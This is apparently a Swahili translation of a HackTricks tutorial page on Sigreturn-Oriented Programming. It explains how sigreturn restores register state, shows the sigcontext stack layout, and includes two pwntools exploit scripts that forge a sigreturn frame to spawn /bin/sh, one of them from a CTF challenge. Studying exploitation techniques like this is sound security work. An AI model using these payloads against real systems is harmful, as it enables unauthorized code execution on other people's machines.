SROP - Sigreturn-Oriented Programming

Support HackTricks

Basic Information

Sigreturn ni syscall maalum inayotumiwa hasa kusafisha baada ya mhandisi wa ishara kukamilisha utekelezaji wake. Ishara ni usumbufu unaotumwa kwa programu na mfumo wa uendeshaji, mara nyingi kuashiria kuwa hali fulani ya kipekee imetokea. Wakati programu inapokea ishara, inasimamisha kazi yake ya sasa kwa muda ili kushughulikia ishara hiyo kwa mhandisi wa ishara, kazi maalum iliyoundwa kushughulikia ishara.

Baada ya mhandisi wa ishara kumaliza, programu inahitaji kurudi katika hali yake ya awali kana kwamba hakuna kilichotokea. Hapa ndipo sigreturn inapoingia. Inasaidia programu kurudi kutoka kwa mhandisi wa ishara na kurejesha hali ya programu kwa kusafisha fremu ya stack (sehemu ya kumbukumbu inayohifadhi wito wa kazi na vigezo vya ndani) ambayo ilitumika na mhandisi wa ishara.

Sehemu ya kuvutia ni jinsi sigreturn inavyorejesha hali ya programu: inafanya hivyo kwa kuhifadhi maadili yote ya register za CPU kwenye stack. Wakati ishara haizuiliwi tena, sigreturn inatoa maadili haya kutoka kwenye stack, kwa ufanisi ikirekebisha register za CPU katika hali yao kabla ya ishara kushughulikiwa. Hii inajumuisha register ya pointer ya stack (RSP), ambayo inaelekeza kwenye kilele cha sasa cha stack.

Kuita syscall sigreturn kutoka kwenye mnyororo wa ROP na kuongeza maadili ya register tunayotaka iandike kwenye stack inawezekana kudhibiti maadili yote ya register na hivyo kuita kwa mfano syscall execve na /bin/sh.

Kumbuka jinsi hii ingekuwa aina ya Ret2syscall ambayo inafanya iwe rahisi kudhibiti vigezo ili kuita Ret2syscalls nyingine:

Ret2syscall

Ikiwa unavutiwa hii ni muundo wa sigcontext unaohifadhiwa kwenye stack ili baadaye kurejesha maadili (mchoro kutoka hapa):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Kwa maelezo bora angalia pia:

Mfano

Unaweza kupata mfano hapa ambapo wito wa signeturn unajengwa kupitia ROP (kuweka katika rxa thamani 0xf), ingawa hii ni exploit ya mwisho kutoka hapo:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Check also the exploit from here ambapo binary tayari ilikuwa ikitumia sigreturn na kwa hivyo si lazima kujenga hiyo na ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Mifanozo Mingine & Marejeo

Support HackTricks

Last updated